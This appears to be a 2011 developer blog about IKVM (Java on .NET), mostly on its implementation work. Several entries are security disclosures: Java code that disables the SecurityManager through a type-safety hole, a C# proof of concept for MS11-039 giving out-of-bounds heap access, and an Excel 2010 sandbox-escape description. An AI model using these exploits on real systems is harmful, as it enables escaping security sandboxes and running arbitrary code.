# Monday, 08 August 2011
MethodHandle From C#

using java.lang.invoke;

class Program {
  static void Main() {
    MethodType mt = MethodType.methodType(typeof(void), typeof(string), typeof(object[]));
    MethodHandle mh = MethodHandles.lookup().findStatic(typeof(System.Console), "WriteLine", mt);
    mh.invoke("{0} {1}", "Hello", "World");
  }
}

This now works, but it is not very efficient. Invoking a MethodHandle from Java is more efficient, because the call site signature is statically known in that case.

You can also call invokeExact from C#, but that's even less usefull, because (unlike from Java) you can only call MethodHandles with the same signature as invokeExact. However, it is very fast, because it doesn't do any conversions.

If there is demand for it, I'll consider adding a public API for getting the delegate from a MethodHandle.

Monday, 08 August 2011 11:26:45 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Friday, 05 August 2011
MethodHandle Progress

I've been working on JSR-292 and in particular MethodHandle support the past week. It's been fun and I only found a single CLR bug so far, so I guess that's not too bad.

In the implementation of MethodHandle I use lots of delegates and DynamicMethods. When you generate invalid CIL for a DynamicMethod fun stuff happens, e.g. helpful exceptions, unhelpful exceptions, crashes or this interesting message:

====WARNING====
You have probably encountered known bug VSW:137474, which fires
when System.EnterpriseServices.Thunk.Proxy::LazyRegister is jitted.
The bug often shows up in tests under ManagedServices\Interop.
VSW:137474 has been fixed, but the fix has not yet been propagated
to Lab21S. Please check to see if the assert/AV occurs while
compiling LazyRegister before entering a new bug for this failure.
===============

The JIT just prints this to the console and continues on!

The OpenJDK java.lang.invoke package tests now pass on my systems with only 3 failures and they are all well understood. The first is due to invokedynamic not being implemented yet and the other two due the fact that I have not yet implement full variable arity delegates. Currently there are about 44 delegates for the arities from 0 to 21 (unfortunately you can't use System.Void as a generic type parameter, so you need special ones for void signatures).

Eventually I'll have fewer delegate types and use a tuple like value type to pack arguments together. The JVM only support 256 arguments so 8 x 8 x 8 should be enough.

The code is still very rough, so it'll probably be at least another week before anything is ready to check in or release a development snapshot.

Friday, 05 August 2011 16:45:51 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Monday, 01 August 2011
How To Disable the Java Security Manager

Suppose you have a type safety vulnerability in Java, you could use it to execute native code, but you can also simply disable the SecurityManager:

import java.io.*;
import java.lang.ref.*;
import java.lang.reflect.*;

class Union1 {
  ObjectStreamClass osc;
  Class c;
  AccessibleObject acc;
}

class Union2 {
  MyObjectStreamClass osc;
  MyClass c;
  MyAccessibleObject acc;
}

class MyObjectStreamClass {
  int i1;
  int i2;
  int i3;
  int i4;
  Object obj1;
  Object obj2;
  Long suid;
}

class MyClass {
  int i1;
  int i2;
  int i3;
  int i4;
  Object obj1;
  Object obj2;
  Object obj3;
  Object obj4;
  SoftReference<Field[]> declaredFields;
  Object obj6;
  SoftReference<Method[]> declaredMethods;
  Object obj8;
}

class MyAccessibleObject {
  boolean override;
}

class DisableSecurityManager {
  static Union1 u1 = new Union1();
  static Union2 u2;
  static Method privateGetDeclaredFields;
  static Method privateGetDeclaredMethods;

  public static void main(String[] args) throws Exception {
    u2 = TypeSafetyHole.setupUnions(u1);
    disableSecurityManager();
  }

  static void disableSecurityManager() throws Exception {
    initReflection();

    Object unsafe = getField(java.util.Random.class, "unsafe").get(null);
    Method staticFieldBase = getMethod(unsafe.getClass(), "staticFieldBase");
    Method staticFieldOffset = getMethod(unsafe.getClass(), "staticFieldOffset");
    Object base_System = staticFieldBase.invoke(unsafe, System.class);
    Method getObject = getMethod(unsafe.getClass(), "getObjectVolatile");
    Method putObject = getMethod(unsafe.getClass(), "putObjectVolatile");

    SecurityManager sm = System.getSecurityManager();
    System.out.println(sm);
    for (int i = 0; ; i += 4) {
      if (getObject.invoke(unsafe, base_System, i) == sm) {
        System.out.println("found it!");
        putObject.invoke(unsafe, base_System, i, null);
        break;
      }
    }
    System.out.println(System.getSecurityManager());
  }

  static void initReflection() throws Exception {
    u1.osc = ObjectStreamClass.lookup(Class.class);
    u1.c = Class.class;
    System.out.println(ObjectStreamClass.lookup(Class.class).getSerialVersionUID());
    u2.osc.suid = null;
    System.out.println(ObjectStreamClass.lookup(Class.class).getSerialVersionUID());
    for (Method m : u2.c.declaredMethods.get()) {
      if (m.getName().equals("privateGetDeclaredFields")) {
        u1.acc = m;
        u2.acc.override = true;
        privateGetDeclaredFields = m;
      }
      if (m.getName().equals("privateGetDeclaredMethods")) {
        u1.acc = m;
        u2.acc.override = true;
        privateGetDeclaredMethods = m;
      }
    }
  }

  static Field getField(Class c, String name) throws Exception {
    Field[] fields = (Field[])privateGetDeclaredFields.invoke(c, false);
    for (Field f : fields) {
      if (f.getName().equals(name)) {
        u1.acc = f;
        u2.acc.override = true;
        return f;
      }
    }
    throw new Error("Field not found");
  }

  static Method getMethod(Class c, String name) throws Exception {
    Method[] methods = (Method[])privateGetDeclaredMethods.invoke(c, false);
    for (Method m : methods) {
      if (m.getName().equals(name)) {
        u1.acc = m;
        u2.acc.override = true;
        return m;
      }
    }
    throw new Error("Method not found");
  }
}  

This code requires JDK 7. Note that you can't use reflection to access the System.security field, because it is special cased by the reflection code (cute, but not very effective).

Here's how it runs (given a suitable implementation of TypeSafetyHole):

C:\j>\jdk1.7\bin\java -Djava.security.manager DisableSecurityManager
3206093459760846163
5184993009896724798
java.lang.SecurityManager@150ac9a8
found it!
null
Monday, 01 August 2011 16:27:17 (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]
New Development Snapshot

After a massive amount of work, we finally have a new development snapshot based on OpenJDK 7 b147. There is still a lot of work to do to implement all the new functionality, but at least all the OpenJDK code has now been integrated.

There should not be any major regressions, but if you run into any (that isn't caused by an ikvm.internal.NotYetImplementedError or System.NotImplementedException) please let us know.

Missing:

  • IPv6 support is still at 0.46 level.
  • JSR-292: Only MethodHandle.invokeExact support has been implemented. Mostly untested.
  • Parallel class loading support not yet implemented.
  • java.nio.file: Standard file system incomplete.
  • java.nio.channels.AsynchronousFileChannel not yet implemented.

Changes:

  • Integrated OpenJDK 7 b147.
  • New version numbering scheme: 7.0.@BUILD@.0.
  • Added ikvmc -warnaserror option (which turns all warnings into errors, as opposed to the already existing option -warnaserror: to turn specific warnings into errors).
  • Added -warnaserror to the IKVM.OpenJDK.*.dll builds.
  • Changed ikvmc not to stop on the first error encountered. Keep going until 100 errors. Note that there still are a bunch of immediately fatal errors.
  • Fixed java.io.FileOutputStream in append mode to use atomic append.
  • Fixed java.util.zip to support files larger than 2GB and added Zip64 support.
  • Made sun.misc.Unsafe.ensureClassInitialized() into an intrinsic.
  • Extended map file support for ldtoken opcode to support loading method and field tokens.
  • Fixed Thread.isCCLOverridden() bug. If the [g|s]etContextClassLoader() methods were not JITted before isCCLOverridden(), ldftn would return the JIT stub address and the vtable could contain the JITted method address.
  • Added -Xnoglobbing option to ikvm.exe.
  • Added a new (additional) naming scheme for "managed JNI" method container classes that avoids all the name collisions.
  • Moved java.awt.AWTPermission into SwingAWT assembly.
  • Added map file support for opcodes: ldarg_s, or, xor, not.
  • Fixed I18N system properties (user.language, user.country, user.variant and user.script).
  • Set sun.java.command and sun.java.launcher properties in ikvm.exe.
  • Added missing lib/ext resources.
  • Fixed ikvmstub compatibility with newer versions of ICSharpCode.SharpZipLib.dll which require the ZipEntry size to be set explicitly, otherwise the generated archive will not be compatible with older zip implementations (like Java 6's java.util.zip).
  • Fixed serialization interop bug that could cause ArrayIndexOutOfBoundsException to be thrown while writing.
  • Fixed a serialization interop bug. If an object is a subclass of a class that has readResolve() method, but the subclass doesn't have a readResolve(), we should not call the base class readResolve().
  • Bug fix. When an abstract .NET type implements System.IComparable (and hence java.lang.Comparable) the resulting stub is not usable from Java because the compareTo method is missing. This fix adds the missing method.
  • Added support for declaring exceptions on shadow interface methods.
  • Fix and enhancement. When a .NET type implements a shadowed interface, we now also publish the original interface (e.g. if the .NET type implements System.IComparable, Java code will now see java.lang.Comparable and System.IComparable). In addition, the new code makes sure that when a .NET type explicitly implements both System.IComparable and java.lang.Comparable that the Java code will not see java.lang.Comparable twice.
  • Include OpenJDK 7 java.lang.AutoCloseable interface and make it shadow System.IDisposable. Removed java.io.Closeable special casing to support IDisposable (now automatic because Closeable extends AutoCloseable).
  • IKVM.Reflection: Fixed CliHeader read bug. Thanks to Oleg Mihailik for reporting this.

Binaries available here: ikvmbin-7.0.4230.zip
OpenJDK 7 sources: openjdk7-b147-stripped.zip

Monday, 01 August 2011 11:53:21 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Monday, 11 July 2011
How to Detect if a Method is Overridden Redux

Using a clever hack is always risky. Previously I described how to use the ldftn and ldvirtftn CIL instructions to detect if a method is overriden by a subclass. It turns out that there is a problem with this trick. If the method containing the ldftn instruction is JITted before the method it refers to, the method pointer returned (and burned into the generated code) is the JIT stub, when the method subsequently is JITted the new function pointer is stored in the vtable of subsequently loaded subclasses and the detection method yields a false positive.

Here's a small C# demo that demonstrates an equivalent effect:

using System;
using System.Runtime.CompilerServices;

class Program {
  static void Main() {
    RuntimeMethodHandle m = typeof(Program).GetMethod("Foo").MethodHandle;
    //RuntimeHelpers.PrepareMethod(m);
    Console.WriteLine(m.GetFunctionPointer());
    new Program().Foo();
    Console.WriteLine(m.GetFunctionPointer());
  }

  public virtual void Foo() { }
}

When you run this program on .NET, it prints out two different values. One possible solution is present in the commented out line, if you uncomment that the two pointer values printed will be the same, because PrepareMethod forces the method to be JIT compiled.

Another slightly more robust method is to avoid ldftn and use ldvirtftn to get the base method as well. The downside is that you need to have an instance of an object of a class that does not override the method in question.

Finally, if you want to use this approach consider using this as an optimization and if this detection is positive, use reflection to confirm.

Monday, 11 July 2011 16:35:52 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Tuesday, 28 June 2011
java.lang.AutoCloseable

Java 7 introduces try-with-resources. This is similar1 to the C# using construct. Yesterday I committed the changes necessary for IKVM to have bi-directional interop between these two. Previously, every2 Java class that implemented java.io.Closeable already automatically got an System.IDisposable for free from ikvmc, but now the new java.lang.AutoCloseable interface shadows IDisposible (similar to how java.lang.Comparable shadows System.IComparable).

The fact that AutoCloseable shadows IDisposable means that it extends IDisposable (this is not visible from Java) and that all Java code that works with AutoCloseable will accept IDisposable references.

Unfortunately this is technically a breaking change. If you have a .NET class that implements java.io.Closeable, it now also must implement IDisposable, but since that makes sense, it's likely it already does.

Since java.io.Closeable now extends java.lang.AutoCloseable, the special casing of java.io.Closeable has been removed from ikvmc.

Here's an example of using the new Java 7 try-with-resources feature on a .NET type:

import cli.System.IO.*;

public class TryWithResources {
  public static void main(String[] args) {
    try (FileStream fs = File.OpenWrite("foo.txt")) {
      fs.Write("Foo".getBytes(), 0, 3);
    }
  }
}


1 There is one important difference in that try-with-resources supports something called suppressed exceptions.
2 Not every class. If you already implement IDisposable explicitly, you don't get an extra one.

Tuesday, 28 June 2011 07:44:14 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Thursday, 23 June 2011
[deleted]

Entry temporarily deleted.

Update: Reposted here.

Thursday, 23 June 2011 14:29:04 (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]
# Wednesday, 22 June 2011
Excel 2010 Bait-and-Switch Sandbox Escape

Office 2010 introduced a sandboxing technology for untrusted documents called Protected View. When a document is opened from an untrusted location (e.g. the Internet) it is first opened in a sandboxed process to limit the impact of document parsing bugs or other things of that nature. Only after the user has confirmed that the document is what they expect (and want to "edit" it) they click on Enable Editing to open the document outside of the sandbox in a fully functioning Office application.

Excel 2010 has a flaw that under certain conditions causes it to redownload the document when the user clicks on Enable Editing. This allows a malicious website to initially provide a safe document and subsequently after the user decides to trust the document to provide a different malicious document.

Here's an example.

After you click on the button, IE will show a dialog asking if you want to Open or Save. Click Open. Now the harmless.xlsx document opens. Next click on Enable Editing. Excel will now crash because it attempts to load a malformed document (note that this is just a null pointer dereference and is very unlikely to be exploitable).

For effect I chose to provide a crashing document, but you can also replace the .xlsx with an .xlsm (a document with macros) and Excel will happily load it (to enable macros the user will have to explicitly click on Enable Content).

This demo is confirmed to work on Windows 7 with IE 9 and Excel 2010. All fully patched.

Wednesday, 22 June 2011 08:25:10 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Tuesday, 21 June 2011
How to Run Unpatched CLR Side-by-Side

If you want to investigate a CLR security patch, you can of course setup a VM where you don't install the patch or you can simply not install the patch until after the investigation is done. I've done both in the past, but when I was reverse engineering MS10-060 I decide to try something different.

One of the advantages (and disadvantages) of the .NET Framework over Java or Mono is that it "integrates" with the OS. This means that you can't simply install two different versions of .NET 2.0 (for example) on your machine, but you can install .NET 1.1, .NET 2.0 and .NET 4.0 side-by-side. So I assumed that it should also be possible to have multiple versions of .NET 2.0 "installed" on your system. To test this I created a Hello World app with the following app.config:

<?xml version="1.0" encoding="utf-8" ?>
<configuration>
    <startup>
        <supportedRuntime version="v2.0.66666"/>
        <requiredRuntime version="v2.0.66666"/>
    </startup>
</configuration>

Then I fired up Process Monitor and started looking at what happened if I tried to run the Hello World app.

It turns out that this is enough to make mscoree.dll look for the CLR in the %windir%\Microsoft.NET\Framework\v2.0.66666 directory for the runtime version to use. When that fails it gives you a message box asking if you want to install the .NET Framework v2.0.66666.

The obvious next step is to xcopy /s the contents of the v2.0.50727 directory into the v2.0.66666 directory. Now the Hello World app runs using mscorwks.dll and mscorjit.dll from the v2.0.66666 directory, so the contents of the v2.0.66666 can be replaced with the unpatched versions.

For the MS11-039 patch, I also wanted the unpatched System.dll and at this point it was still being loaded from the GAC. Back to Process Monitor which showed that the CLR was looking for a file named fusion.localgac in the v2.0.66666 directory, so that looked promising. After creating this file (content doesn't matter), I started getting assembly load failures and after copying the unpatched framework assemblies into the application directory the app ran successfully.

Now I could comfortably develop and test the PoC on my main system, without being vulnerable (if someone knew that I have this unpatched version installed, they could try to attack me specifically, but that would fail as I've disabled running .NET code in the browser because Microsoft takes too long to patch publicly known vulnerabilities).

Tuesday, 21 June 2011 09:48:07 (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]
# Thursday, 16 June 2011
MS11-039 Vulnerability Details

Tuesday Microsoft released two .NET security bulletins, one of which MS11-039 I will discuss here.

The patch updated System.dll and diffing the updated assembly with the previous version shows that they've added additional parameter validation to the Socket Send and Receive APIs that take IList<ArraySegment> parameters.

The fix consists of validating the Offset and Count properties of the passed in ArraySegment values. If you read the ArraySegment constructor documentation, you see that it throws an ArgumentException if the offset or count are not in range, but given that ArraySegment is a value type, it is easy to break this "invariant" by taking advantage of the non-atomicity of value assignment.

Here's an example the exploits the bug to create a magical array that allows negative indexing (and arbitrary heap access, trivially adaptable to an exploit to run arbitrary code):

using System;
using System.Collections.Generic;
using System.Net.Sockets;
using System.Net;
using System.Threading;

class
Program
{
  static byte[] buf1;
  static byte[] buf2;
  static ArraySegment<byte> seg;

  static void Main(string[] args)
  {
    Socket server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    server.Bind(new IPEndPoint(IPAddress.Loopback, 0));
    server.Listen(1);
    Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    client.Connect(server.LocalEndPoint);
    Socket conn = server.Accept();
    List<ArraySegment<byte>> buffers = new List<ArraySegment<byte>>();
    buffers.Add(seg);

    buf1 = new byte[0];
    buf2 = new byte[1000];

    for (int i = 0; i < buf2.Length; i++)
      buf2[i] = 0xFF;

    Thread mutator = new Thread(Mutator);
    mutator.Start();

    Thread.Sleep(100);

    ArraySegment<byte> grab;
    for (; ; )
    {
      grab = seg;
      if (grab.Array.Length == 0 && grab.Count != 0)
      {
        Console.WriteLine("got it!");
        mutator.Abort();
        break;
      }
    }
    Console.WriteLine(grab.Array.Length);
    Console.WriteLine(grab.Count);

    client.Send(buf2);
    SocketError errorCode;
    buffers[0] = grab;
    conn.Receive(buffers, SocketFlags.None, out errorCode);

    Console.WriteLine(buf2.Length);
    Console.WriteLine(buf2[-100]);
  }

  static void Mutator()
  {
    for (; ; )
    {
      seg = new ArraySegment<byte>(buf1, 0, 0);
      seg = new ArraySegment<byte>(buf2, 0, 1000);
    }
  }
}
Thursday, 16 June 2011 10:35:25 (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]